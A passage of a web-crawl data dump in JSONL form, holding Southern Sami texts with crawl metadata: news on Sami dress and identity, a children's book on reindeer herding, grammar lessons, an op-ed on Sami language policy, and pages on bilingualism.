satne veanhta saemien aalkoealmetjen posisjovnen bïjre daan biejjien, dellie naemhtie vaestede:\n– Manne iktegisth jeahtam mijjieh libie göökte seammavyörtegs almetjh. Mov dïedte lea dejtie saemien jïh jeatjah unnebelåhkoen ïedtjide iktedidh. Manne vïenhtem dihte akte vihkeles bielie mov barkoste departemeentesne. Mijjieh hijvenlaakan råårestallebe jïh manne gellie tjåanghkoeh åtneme saemiedigkiepresidentine mænngan eelkim, ministere soptseste.","id":"","dump":"CC-MAIN-2018-51","url":"http:\/\/samimag.no\/sma\/content\/32-jaepieh-vuertemetijje-maahta-bijjelen-arrodh","date":"2018-12-12T11:59:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376823872.13\/warc\/CC-MAIN-20181212112626-20181212134126-00496.warc.gz","language":"sma","language_score":1.0000007153,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.0000007152557373}","num_words":431,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.137,"stopwords_ratio":0.116,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Eah sïjhth gapta-joptsh utnedh\n– Jeenjesh dam tjaebpemes vaeltieh ovmessie gaptijste jïh aktem psykedeliske maallem darjoeh, men gapta vielie soptseste goh ajve rïesege jïh feegreme. Dïhte aaj dej immaterijelle biehkiej bïjre soptseste man bïjre doh jeanatjommesh eah leah nuepiem åtneme damtedh, dan åvteste daaroedehteme fer gåhkese båateme, Maja Dunfjeld jeahta.\n– Vihkelesvoetem gaptine åajelde\nDunfjeld lea aarebi lektovre jïh voestesamanuensise Saemien Jïlleskuvlesne. Dïhte lij aaj voestes åvtehke Duodjeinstituhttesne gosse instituhte eelki. Dïhte veanhta jeenjesh, gosse voejhkeleminie dam tjaebpemes gaptam gåarodh, åajaldieh identiteete lea akte vihkeles bielie gapteste.\n– Gosse såemies biehkieh veedtjieh jeatjah gaptijste juktie ajve dam dovremes jïh tjaebpemes gaptam åadtjodh dellie dïhte eevre båajhtode sjædta, men sïjhtem vietseles årrodh. Jeenjesh daajroem fååtesieh jïh dan åvteste dah dagkerh gaptah gåaroeh. Gosse sov identiteetem ohtsede dellie vihkeles bïevnesh reebledh. Ij byörh dam voestes jïh bööremes vaeltedh gosse edtja gaptam jïjtsasse gåarodh, men tjuara sov identiteetem gaavnedh, jïjtsh roehtsh gaavnedh. Ij maehtieh saaht maam gaptide reebledh jïh vïenhtedh gaajhke lea reaktoe.\n– Gapta lea identiteete\nGosse jïjtse identiteetem ohtsedeminie, Dunfjeld meala vihkeles bïevnesh reebledh olles gaptah gåaroeh mah eah jïjtse identiteeten bïjre soptsesth.\n– Ij edtjh gaajhkem tjåanghkan pleentedh akten joptsese. Gellievoete vihkeles, men tjuara aktem hammoem utnedh mij identiteetem jïh damtijimmiem vadta. Jïh daan sjïeken gaavhtan mijjieh sinsitniem damtijibie jïh daejrebe gubpede almetjh båetieh. Identiteete lea våajnoes gaptan tjïrrh jïh lea våajnoes åvtelen njaelmiem rïhpestibie. Maehtebe dovne gaavnehtidh mehtie fuelhkeste naaken båata jis eevre veelelaakan vuartasjibie, Dunfjeld tjïelkeste.\nHaesteme\nDaaletje åvtehke Duodjeinstituhttesne Inga Hermansen Hætta meala akte haesteme dam sjïerevoetem vaarjelidh mij lea dejnie ovmessie dajvine.\n– Dagke ij leah eevre pleentesovveminie, men tjoerebe almetjidie måjhtajehtedh dah tjuerieh jïjtse dajven identiteetem vuesiehtidh jïh eah biehkieh mubpijste vaeltedh, Hermansen Hætta jeahta.\nDïhte akten tjïelke vuesiehtæmman vuesehte dan dåeriesmoerese\n– Manne daajram dah mah sveerjen bieleste båetieh leah joekoen håjnoes ihke såemies Nöörjesne leah aalkeme viskes möönsterem beelhtesne nuhtjedh, naakede maam sveerjen saemieh lea sijjen beelhtesne åtneme gellie jaepieh. Gosse mijjieh nöörjen bielesne pryövebe dej möönsterem vaeltedh, dellie eah dah dam lyjhkh. Jïh jis aalka vuevjieh biejedh akten åarjelsaemien gaptese, naakede maam ajve dorjeme daennie noerhtesne, dellie dïhte båajhtode sjædta. Mov mïelen mietie edtja pryövedh mijjen aerpievuekide nuhtjedh. Men akte haesteme mijjese gaptam vaarjelidh goh akte identiteete naemhtie dïhte lea daan biejjien, Hermansen Hætta tjïelkeste.","id":"","dump":"CC-MAIN-2019-04","url":"http:\/\/samimag.no\/sma\/content\/eah-sijhth-gapta-joptsh-utnedh","date":"2019-01-17T04:36:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-04\/segments\/1547583658702.9\/warc\/CC-MAIN-20190117041621-20190117063621-00593.warc.gz","language":"sma","language_score":1.0000063181,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.0000063180923462}","num_words":366,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.104,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mia Erika Sparrok -Snåasen skuvle\nIndlæst på sydsamisk af Mia Erika Sparrok\nSaemieh gaektsie jaepieboelkh utnieh mah bihkedieh guktie båatsoejaepie.5\nGïjre Gïjrege aaltoeh guedtieh jïh båatsoejaepie aalka. Mijjieh tjoerebe bovtside geehtedh olles ovjuvrh smaave mieside vaeltieh.7\nGïjre-giesie Ruffien asken dellie suehpiedimmie mahte riejries. Daelie vihkele ij bovtside sturrh guktie åadtjoeh raeffesne gåatodh.9\nGiesie Ruffien jïh snjaltjen asken dellie bovtside tjöönghkebe jïh geadtan tsaekebe. Mijjieh mieside mïerhkesjibie.11\nMijjieh nejpine mïerhkesjibie. Gaajhkh båatsoe-saemieh jïjtsh mïerhkem utnieh. Mïerhkh vihkeles utnedh guktie maahta vuejnedh gïen bovtse lea.13\nMijjieh svahpam jïh soehpenjem nuhtjebe gosse edtjebe miesiem jaksedh.15\nTjaktje-giesie Mijjien luvnie dellie bovtsh ruevtieraajroe- linjan jïh E6-geajnoen bijjelen restiedieh. Mijjieh tjoerebe geehtedh olles tåågh jïh bïjlh bovtside njeervh.17\nTjaktje Tjaktjege vaegkiej mietie vaaksjobe jïh geehtebe olles bovtsh kraana-sïjtese vuelkieh. Mijjieh geadtan tsaekebe jïh sarvah leekebe.19\nTjaktje-daelvie Geadtan tsaekebe jïh raerhkebe guktie vuejnebe gien bovhtsh jïh magkerh edtjebe leekedidh.21\nDaelvie Daelvege bovtsigujmie daelvielaantese juhtebe. Mov fuelhkie pråvhka dåvvese juhtedh. Tjoerebe bovtside vaaksjodh.23\nGïjre-daelvie Bovtsh suehpedslaantese rahtjeminie. Mijjieh bovtside gïjrelaantese juhtebe jïh aaltoeh miesieh guedtieh.25\nMåjhtah gåessie aaltoeh suehpedieh?27\nFoto\/ Myndir\/ Asseq\/ Valokuva\/ Guvvieh:\nS1-26: Ina Theres Sparrok","id":"","dump":"CC-MAIN-2019-09","url":"http:\/\/atlantbib.org\/da\/node\/1069","date":"2019-02-16T10:30:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247480240.25\/warc\/CC-MAIN-20190216085312-20190216111312-00186.warc.gz","language":"sma","language_score":0.9999753237,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.999975323677063}","num_words":180,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.159,"stopwords_ratio":0.072,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1705111428888\nKråahpe\n1 Produkt objekt\nI lager\nVarning: Sista varan i lager!\nTillgänglig efter datum:\nTrond-Viggo Torgersen & Vivian Zahl Olsen\nÅerjelsaemien teekste: Ellen Bull Jonassen\nIbie dan jïjnjem kråahpen bïjre ussjedh.\nDïhte ajve desnie.\nSåemies jiehtieh dah ajve sijjen kråahpem demtieh\ngosse leah skïemtjine,\njallh gosse baektjede gusnie akt.\nMen kråahpe lea gujht desnie iktegisth.\nJeenjesh onterdieh guktie kråahpe barka.\nJïh ij badth dïhte onterligs;\nInga kommentarer finns för tillfället.","id":"","dump":"CC-MAIN-2019-13","url":"http:\/\/shop.ajtte.com\/bocker\/638-kraahpe-9788282631792.html","date":"2019-03-23T07:03:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912202728.21\/warc\/CC-MAIN-20190323060839-20190323082839-00078.warc.gz","language":"sma","language_score":0.9908410311,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9908410310745239}","num_words":68,"character_repetition_ratio":0.004,"word_repetition_ratio":0.0,"special_characters_ratio":0.195,"stopwords_ratio":0.059,"flagged_words_ratio":0.0,"lang_id_score":0.997,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Sojjehtimmie-learoem maehtebe aaj morfologijine gohtjedh. Dellie mijjieh minngie-gietjieh maadth-baakose bïejebe jïh destie naan baakoej tjoejh målsoeh.\nSojjehtimmie-learoe\nSojjehtimmie-learoem maehtebe aaj morfologijine gohtjedh. Mijjieh minngie-gietjieh maadth-baakose bïejebe jïh destie naan baakoej tjoejh målsoeh.\nVoestegh tjoerebe daejredh mij lea baakoe? Baakoe lea tjoejh mah ektesne bïejebe. Mijjieh maehtebe dejtie tjoejide bokstaavigujmie tjaeledh. Baakoeh mah seammalaakan sojjehtibie baakoe-klaasside joekehtehtebe. Mijjieh baakojde baakoe-klaasside juekebe daej baakoej sojjehtimmie-hammoej, goerkesen jïh åtnoen mietie raajesinie.\nBaakoe-klaassesne baakoeh mah seammalaakan sojjehtibie. Dah baakoe-klaassh leah verbh, substantijvh, pronomenh, taale-baakoeh, adjektijvh, adverbh, adposisjovnh, interjeksjovnh, konjunksjovnh jïh subjunksjovnh.\nGosse baakoem sojjehtibie mijjieh minngie-gietjem baakoe-maadtose bïejebe, vuesiehtimmien gaavhtan gåetie + n = gåetien.\nTjoeje-molseme\nÅarjel-saemien gïelen lea tjoeje-molseme. Tjoeje-molseme lea gosse baakoej tjoejh, baakoej vokaalh jorkesieh gosse mijjieh baakojde sojjehtibie. Göökte-lïhtsen verbe göökte lïhtsh åtna, gået-ie. Dïhte voestes lïhtse, gået-, jïh dïhte mubpie lïhtse, -ie. Dah tjoejh -åe- jïh -ie- diftonginie gohtjebe. Diftonge göökte ovmessie vokaalh åtna. Jis diftonge mubpie lïhtsesne molsesåvva dellie maahta aaj diftonge baakoen voestes lïhtsesne aaj molsesovvedh, vuesiehtimmien gaavhtan gåetie sjædta gåata+n = gåatan. Diftonge vostes lïhtsesne -åe- daan mubpie vokaale molsesåvva gosse -a- sjædta mubpie lïhtsesne.\nLohkh vielie tjoeje-molsemi bïjre grammatihke-gærjesne.","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:181933\/topic:1:194367\/topic:1:185442\/resource:1:177174","date":"2019-04-19T17:03:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578527865.32\/warc\/CC-MAIN-20190419161226-20190419183226-00034.warc.gz","language":"sma","language_score":0.999997735,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999977350234985}","num_words":181,"character_repetition_ratio":0.074,"word_repetition_ratio":0.012,"special_characters_ratio":0.155,"stopwords_ratio":0.105,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Lars Filip Paulsen daam kronihkem tjaaleme. Kronihkesne Lars Filip Paulsen haasta gaajhkesidie mah saemien gïeli bïjre pryjjoeh, baejieh sov gïele reerenasseste govlelge åvtelen govlehtimmie-mierie nåhka.\nBaajh nöörjen siebriedahkem daajroem åadtjodh saemien gïele-aarkebiejjien bïjre\nSaemien gïelh Nöörjesne leah mïerhkelgovveme goh håvhtadihks gïelh. Låhkoe maadthskuvle-learoehkijstie saemien-gïeline voestes-gïeline lea geahpanamme luhkie prosentigujmie 2006 raejeste, jïh joekoen jïjnjh saemien-gïeline orrijieh gosse jåarhke-skuvlem aelkieh. Daate akte gaajh nåake evtiedimmie maam tjoerebe jarkedh. Daej biejjiej NOU 2016: 18 Vaajmoegïele lea govlehtimmesne, maam akte moenehtse maam reerenasse lea nammoehtamme lea tjaaleme. Reektehtsisnie bijjelen tjuetie juvnehtimmieh jïh raeriestimmieh råajvarimmide saemien gïelide, mah leah stuvreme dovne reerenassese jïh Saemiedægkan. Råajvarimmieh leah reaktan bïjre jïjtse ietnien-gïelesne soptsestidh dejnie byögkeles Nöörjine. Saemien åålmege, almetje-reaktan mietie, aktem ektie reaktam åtna dej saemien gïeli bijjeli nænnoestidh. Lissine dle mijjieh goh aktegs-almetjh reaktam utnebe jïjtjene gïelem lïeredh, jïh dam nuhtjedh dovne privaate jïh byögkeles tjiehtjielisnie. Daate akte reakta maam ibie ååpsen gellien aejkien åadtjoeh.\nSaemiedigkien bieleste libie daelie gellie govlehtimmie-seminaarh Vaajmoegïele-salkehtimmien bïjre galhkeme. Mijjieh guessine mïnneme åarjel-saemien, julev-saemien jïh noerhte-saemien gïele-dajvine gusnie åådtjeme joekoen joekehts haestemi bïjre govledh. Manne åådtjeme skuvlen aarke-biejjeste govledh gusnie lea ahkedh vaenebh saemien-lohkehtæjjah, mah gellie tæjmoeh barkoen mænngan tjuerieh learoe-materijellem nöörjen gïeleste saemien-gïelese jarkoestidh dan åvteste eevre daerpies. Manne aaj daajram ovlæhkoes eejhtegh tjahkesjeminie bïjre jarkan laanten tjïeltine mah lin vaajtelamme akte saemien maanagïerte-sijjie gååvnesi sijjen maanese. Daah soptsesh akten biejjieladtje gæmhpoen bïjre soptsestieh juktie gorredidh saemien gïele aktem sijjiem åådtje akten aarke-biejjien gusnie jeanatjommese lea daaroen-gïelesne.\nMaajetjh dle mijjen naan tjïelth gusnie dïhte saemien annje lea joekoen nænnoes. Akte dejstie lea Guovdageaidnu gusnie Saemiedigkie aadtjen govlehtimmie-seminaarem hööltesti. Daennie tjïeltesne doh jeanatjommesh saemiestieh, dåaktere-kontovresne, pollisesne jïh tjïeltesne. Skuvle-sjaljosne maanah saemien-gïelesne stååkedieh.\nDaate lea naakede maam saemien siebriedahke ij maehtieh vaeltedh goh akte buajhkoesvoete. Saemieh juhtieminie, jïh ahkedh jienebh mijjeste nöörjen staarine jïh tjïeltine årroeminie gusnie dïhte saemien ajve akte gellijste unnebe-låhkojste. Dellie joekoen vihkeles sijjieh sjugniedidh mah sijjiem vedtieh dïsse mij lea saemien. NOU 2016: 18 Vaajmoegïele tjïerteste man vihkeles lea akte sjïere barkoem maanaj jïh noeri vööste stuvredh. Akte dejstie raeriestimmijste lea gaajhkh tjïelth abpe laantesne edtjieh aktem laake-vïedteldihkie dïedtem utnedh saemien-gïeleldh maanagïerte-faalenassem faalehtidh gaajhkide saemien maanide, dastegh eejhtegh dam sijhtieh. Akte jeatjah raeriestimmie lea gorredidh learohkh aktem ellies saemien lïerehtimmie-faalenassem åadtjoeh maadth-skuvlen raejeste jåarhke-skuvlen raajan.\nDan nöörjen jienebe-låhkose, mij joe gaajhkh byögkeles dïenesjh sijjen ietnien-gïelesne åadtjoeh, dle dagkerh råajvarimmieh maehtieh dovne kontroversielle jïh ovdaerpies vååjnedh. Men akte daaroe ij gåessie gænnah daarpesjh siebriedahkem birredh viehkine årrodh ihke gorredidh maanah daaroen lierieh. Akte aevhkie jïh akte sjïere buerie maam daaroestæjjah joe utnieh. Jïjnjh dejstie råajvarimmijste salkehtimmesne voejhkelieh naakedem dehtie ovrïektesvoeteste jaabnedidh mejnie saemieh Nöörjesne jielieminie fïerhten biejjien.\nRaeriestimmieh aaj våaroeminie utnieh Saemiedigkien åejvie-ulmiem juktie saemien gïelh evtiedidh: låhkoem gïele-utniejijstie lissiehtidh jïh åtnoem dejstie saemien gïelijste siebriedahkesne lissiehtidh. Daate aktem ektie barkoem kreava. Goerkesem saemien gïelese dåastodh byögkeles Nöörjesne – mejtie lea healsoe-suerkesne, justijse-suerkesne jallh skuvle-suerkesne – sæjhta jiehtedh mijjieh jååhkesjamme sjïdtebe jïh vuajnalgamme goh fïerhte daaroe. Gosse mijjieh goh ellen prååsehkommes dellie daarpesjibie mijjen domtese-gïelesne soptsestidh, saaht gusnie årroeminie.\nGaajhkem dam daejrebe. Daelie vihkeles daate daajroe aaj stoerre-siebriedahkese båata. Mijjieh goerkesen bïjre birrebe jienebe-låhkoste, men dellie tjoerebe aaj dejtie goerkesem vedtedh guktie mijjen gïele-aarkebiejjie lea. Joe njoktjen 15.b. mierie nåhka juktie sov govlehtimmie-vaestiedassem sïjse seedtedh reerenassese NOU: 2016: 18 Vaajmoegïelen bïjre. Sïjhtem haestedh privaate almetjh, saemien siebrieh, institusjovnh jïh jieleme-aktöörh - amma gaajhkesh mah saemien gïeli bïjre pryöjjadieh, sijjen mïelem buektedh. Datne, mij lea tjidtjie jallh aehtjie akten saemien maanese, soptsesth reerenassese man åvteste vihkeles dov maana sijjiem åådtje aktene saemien maana-giertesne, jallh man åvteste dov maana byöroe maehtedh digitaale Aph gaavnedh. Gïehtjh raeriestimmide salkehtimmesne jïh tjaelieh mejtie datne leah sïemes dejgujmie. Fïerhte vaestiedasse lea vihkeles! Ussjedh amma; jis ih datne dam soptsesth, gïeh jeatjebh edtjieh dam dov åvteste soptsestidh? Jis saemien siebriedahke ij utnieh daah råajvarimmieh goh daerpies jïh hijven, guktie maehtebe veanhtadidh stoerre-siebriedahke dam meala. Akte akte-raeresne gïele-moenehtse gusnie jeenjesh eah saemien utnieh goh jïjtse gïele, daejnie salkehtimmine juvnehte nöörjen åejvieladtjh vielie goh tjuetie råajvarimmiejgujmie nierhkedh mijjen vaajmoe-gïelide. Daelie tïjje båateme mijjieh ektesne daej raeriestimmiej duekesne tjåadtjobe åvtelen fer seenhte sjædta.\nLars Filip Paulsen, saemiedigkieraereste\nBæjhkoehtamme: 10.03.17\nBaakoeh\nSaemien\nDaaroen\nreerenasse\nregjering\ngoevlelgidh\nbli hørt\ngovlehtimmie-mierie\nhøringsfrist\nmïerhkelgovvedh\nbli merket, karakterisert\nhåvtadihks\ntruet\ngeahpanidh\nminske, gå ned\nevtiedimmie\nutvikling\nvaajmoegïele\nhjertespråket\nmoenehtse\nutvalg\nnammoehtidh\nutnevne\nreektehtse\nrapport\njuvnehtimmie\nanbefaling\nråajvarimmie\ntiltak\nektie\nfelles\nsalkehtimmie\nutredning\novlæhkoes\nulykkelige, fortvilte\njeanatjommese\ndet meste\ndoh jeanatjommesh\nde fleste\nbuajhkoesvoete\nselvfølgelighet\nlaake-vïedteldihkie\nlovfestet\novrïektesvoete\nurettferdighet\nsuerkie\nsektor\nArtihkeleKjernestoff\nFaage-tjaalegeKjernestoff\nVïjhteboelhke-vuekien bïjreKjernestoff\nEssayeKjernestoff\nLohkije-tjaalegeKjernestoff\nGærja-ållermaehtemhKjernestoff\nFilme-ållermaehtemeKjernestoff\nGaajh tjarke histovrijetæjmoe GaupesteKjernestoff\nKååserije jïh petiteKjernestoff\nKååserijeKjernestoff\nKronihkeKjernestoff\nFilme OfelašKjernestoff\nGuktie tjaalegem jïh filmem viertiestidhKjernestoff\nLaavenjassh: ArtihkeleKjernestoff\nLaavenjassh: Faage-tjaaleghKjernestoff\nLaavenjassh essayi bïjreKjernestoff\nLaavenjassh filme-ållermaehtiemasseKjernestoff\nBaajh guvviem jieledh!Kjernestoff\nTjaelieh ållermaehtememKjernestoff\nLaavenjassh: Mijjen jïjnjh gåetiehKjernestoff\nLaavenjassh akten kååserijeseKjernestoff\nLaavenjassh teemese kååserijeKjernestoff\nLaavenjassh: Kronihki bïjreKjernestoff\nLaavenjassh kronihkeseKjernestoff\nMaam kronihken bïjre måjhtah?Kjernestoff\nLaavenjassh: TjuvrieKjernestoff\nLaavenjassh filmese OfelašKjernestoff\nViertesth tjaalegem jïh filmemKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:181819\/topic:1:182389\/resource:1:182814","date":"2019-04-22T15:13:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578555187.49\/warc\/CC-MAIN-20190422135420-20190422161420-00056.warc.gz","language":"sma","language_score":0.9999934435,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999934434890747}","num_words":782,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.134,"stopwords_ratio":0.128,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gosse edtjh åehpiedehtemh jallh håalemh soejkesjidh dellie vihkeles tjïelkestidh mij dov teema, gïeh dov goltelæjjah maam sïjhth buektiehtidh.\nGolme maadth-tsiehkieh\nÅvtelen dejnie praktihkeles barkojne aalkah, tjoerh golme aath tjïelkestidh:\n- Mij dov teema?\n- Gïeh dov goltelæjjah?\n- Maam sïjhth buektiehtidh dov åehpiedehtieminie?\nJis daejtie tsiehkide veelelaakan voestegh ussjedh, dellie sagke buerebe vuajnah maam edtjh sjïerelaakan krööhkestidh jïh geehtedh. Datne vielie ulmien vööste barkh jïh tïjjem jïh faamoem spåårh.\nDov teema\nDatne veele daajrah mij dov laavenjasse? Daajrah man jïjnjh faageles bïevnesh datne tjoerh meatan vaeltedh åehpiedehtiemisnie, jïh mah bielieh teemijste datne tjoerh sjïerelaakan krööhkestidh? Jallh åadtjoeh sisvegem jïjtje veeljedh? Dastegh jueriedisnie, gihtjh lohkehtæjjam guktie gaajhke tjïelke sjædta dutnjien.\nDov goltelæjjah\nAkte åehpiedehteme edtja goltelæjjide maam akt vedtedh. Jis edtjh dov laavenjassine lyhkesidh, tjoerh dan åvteste dejtie \"dievviedidh\". Ij lijsh stoerre daajroeh utnedh dastegh dov goltelæjjah eah guarkah man bïjre datne soptsesth. Ussjedh dan åvteste veele dïsse: Man jïjnjem dov goltelæjjah teeman bïjre daejrieh aarebistie? Edtjh maanide, noeride, geerve jallh voeres almetjidie soptsestidh? Maam tjoerh krööhkestidh?\nAajkoe dov åehpiedehtieminie\nMaam sïjhth goltelæjjide vedtedh? Sïjhth saakeles bïevnesh buektedh? Edtjh raerieh vedtedh, bïhkedidh jallh sjollehtidh? Bïejh jïjtsadth aktem tjïelke ulmiem dov åehpiedehtiemasse jïh måjhtelh dam abpe tïjjen mearan dejnie barkeminie.","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:181865\/topic:1:181665\/resource:1:181669","date":"2019-04-18T19:17:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578526228.27\/warc\/CC-MAIN-20190418181435-20190418203435-00514.warc.gz","language":"sma","language_score":1.000007987,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000079870224}","num_words":195,"character_repetition_ratio":0.079,"word_repetition_ratio":0.011,"special_characters_ratio":0.15,"stopwords_ratio":0.046,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije soptsesem tseegkie. Soptsese aalkoem, åejvie-boelhkem jïh galhkuvem åtna. Mij akt heannede jïh tjaelije almetjh mijjese åehpiedahta. Tjaelije byjresem buerkeste jïh kaanne dialååge-hammojne tjaala. Gaajhkh daah leah komposisjovne guktie soptsesem soptsesti.\nGuktie tjaalegem tseegkeme\nKomposisjovne lea guktie tjaalege lea ektesne bïejeme jallh tseegkeme. Gosse mijjieh epihken tjaalegen komposisjovnem goerehtibie, dellie mijjieh jiehtebe maam akt dan bïjre guktie tjaelije heannadimmiem tseegkie. Dan nuelesne naan gyhtjelassh mah viehkine åtnah gosse sïjhth komposisjovnem goerehtidh:\n- Guktie tjaalege aalka?\n- Maam tjaelije referaatine soptseste?\n- Maam tjaelije scenigujmie soptseste?\n- Gååvnese maam akt tjaalegisnie mij åvtese tjuvtjiedidh?\n- Gååvnese maam akt mij tjaalegisnie bååstide tjuvtjiedidh?\n- Guktie tjaalegen galhkuve?\nNovellam lohkedh jïh guarkedhKjernestoff\nMov aahkan gåetie jïjnjh tjïehtjelhKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:182064\/topic:1:179686\/resource:1:171280","date":"2019-04-25T23:01:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578742415.81\/warc\/CC-MAIN-20190425213812-20190425235812-00466.warc.gz","language":"sma","language_score":1.0000021458,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000002145767212}","num_words":108,"character_repetition_ratio":0.085,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.083,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Guektiengïelen-voete ij leah orre aamhte. Dïhte golh lij seamma guhkiem goh aktengïele-voete. Guektiengïelen-voete lea gosse almetjh göökte gielide mahte seamma hijven maehtieh jïh soptsestieh. Maahta jiehtedh akten-gïelevoete lea sveekebe siebriedahkesne sjïdteme.\nGåessie dellie guektien-gïelen lea?\nDan bïjre gujht jeenjh gyhtjelassh. Muvhth almetjh jiehtieh datne guektien-gïelen gosse tjïelkeslaakan göökte gïelh soptsesth. Guektien-gïelen almetje lea dejtie göökte gielide akten-aejkien lïereme, dovne maahta gïeleste måbpan jarkoestidh jis daerpies. Geerve almetjinie dovne nubpiem gïelem lïeredh dan hijven goh jïjtse ietnien-gïelem. Dannasinie aaj dom almetjem guektien-gïelen almetjinie gåhtjodh.\nSåamesh jiehtieh datne guektien-gïelen jis muvhtene göökte gïelh soptsesth. Jeatjebh jis jiehtieh guektien-gïelen almetje lea dagkere mij nubpiem gïelem guarkoe jalhts ij jïjtje soptsesth.\nGuhkiem dellie vïenhtin ij lij hijven jeenebh gïelh akten-aejkien lïeredh. Saemien-gïelen lin nåake vierhtieh. Nöörjesne die 1840-jaepiej raejeste garre politihkine aelkiestin galkin saemide daarojne darjodh dovne gieline jïh kultuvrine. Skuvlesne ij lij luhpie saemien-gïelem utnedh ij gænnah lïegkesinie. Daaroen-gïelesne galkin lohkehtehtedh. Dïhte garre daaroen deadtoe ryöhki nubpien veartene-dåaroen raajan. Jeenjh saemieh leah dan tjarki deadtasovveme jïh jeenjem nåakem tjirrehtamme dan garre deadtoen åvteste, guktie jeenjesh eah sïjhth saemien jïjtsh maanide leeredh. Daelie guektiengïelen-voetem jeatjhlaakan vuejnieh. Dotkemh leah vuesiehtamme sïejhme lea jeenebh gïelh akten-aejkien lïeredh. Almetjh leah vuaptan sjïdteme man hijven jïh aevhkies gïelh maehtedh, jïh jis jeenebh gïelh aeriedistie maahta dellie aelhkebe orre gïelem lïeredh. Jïh nov leah saemien gïelen vierhtieh lokngesamme.\nJienebegïelevoeteKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:181933\/topic:1:179502\/topic:1:176815\/resource:1:176746","date":"2019-04-22T15:27:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578555187.49\/warc\/CC-MAIN-20190422135420-20190422161420-00026.warc.gz","language":"sma","language_score":0.9999927282,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999927282333374}","num_words":220,"character_repetition_ratio":0.08,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.095,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Muvhth almetjidie gujht aelhkie mujhtedh mij dej ietnien-gïele. Såamasidie ij leah. Ietnien-gïele ij leah ajve tjidtjien gïele. Nov aaj aehtjien gïele. Ietnien-gïele lea sïejhmemes gïele maam aalkovistie gåetesne leara.\nIetnien-gïele\nAlmetje maahta göökte ietnien-gïelh utnedh. Jis eejhtegi leah göökte ietnien-gïelh, jïh gåabpatjahkh jijtsi ietnien-jallh voestes-gïelem maanine soptsestieh, dellie maana göökte ietnien-gïelh leara, vg aehtjie saemeste jïh tjidtjie jis daaroste.\nVoestes-gïele\nVoestes-gïelem maahta utnedh ietnien-gïelese synonyjmine. Dïhte seamma goh ietnien-gïele. Dïhte gïele maam almetje voestes gietjeste leara, dam voestes-gïeline gåhtjoeh. Jis almetje göökte gïelh akten-aejkien leara, dellie ij maehtieh jiehtedh dan lea dovne voestes- jïh nubpien-gïele. Dan leah göökte ietniengïelh. Muvhtene nemhtie almetjen nubpien-gïele lea veaksahkåbpoe goh dïhte voestes-gïele. Dam vueptiestibie gosse almetje åehpies aamhtesi bïjre soptseste. Dellie gïelem veeljie mïsse aelhkie jïh iemielaakan soptsestidh.\nAlmetjasse daerpies jïjtse voestes-gïelem dan hijven lïeredh jïh maehtedh guktie buektehte. Almetje dovne daarpehte voestes-gïelen daajroej bïjre eavadidh jïh abpe jielemem dam gïelem övtiedidh, baakoe-låhkoem jïh jiehtesh. Juktie aamhth jïh jiehtesh leara jïh daajroeh voestes-gïelen bïjre åådtje, dellie stoerre viehkie dan sov nubpien-gïelen övtiedæmman. Bööremes lij jis almetje nöörie voestes-gïelem fïerhten biejjien soptsestidh, ij gåetesne ajve, siebriedahkesne dovne. Muvhth ij almetjen 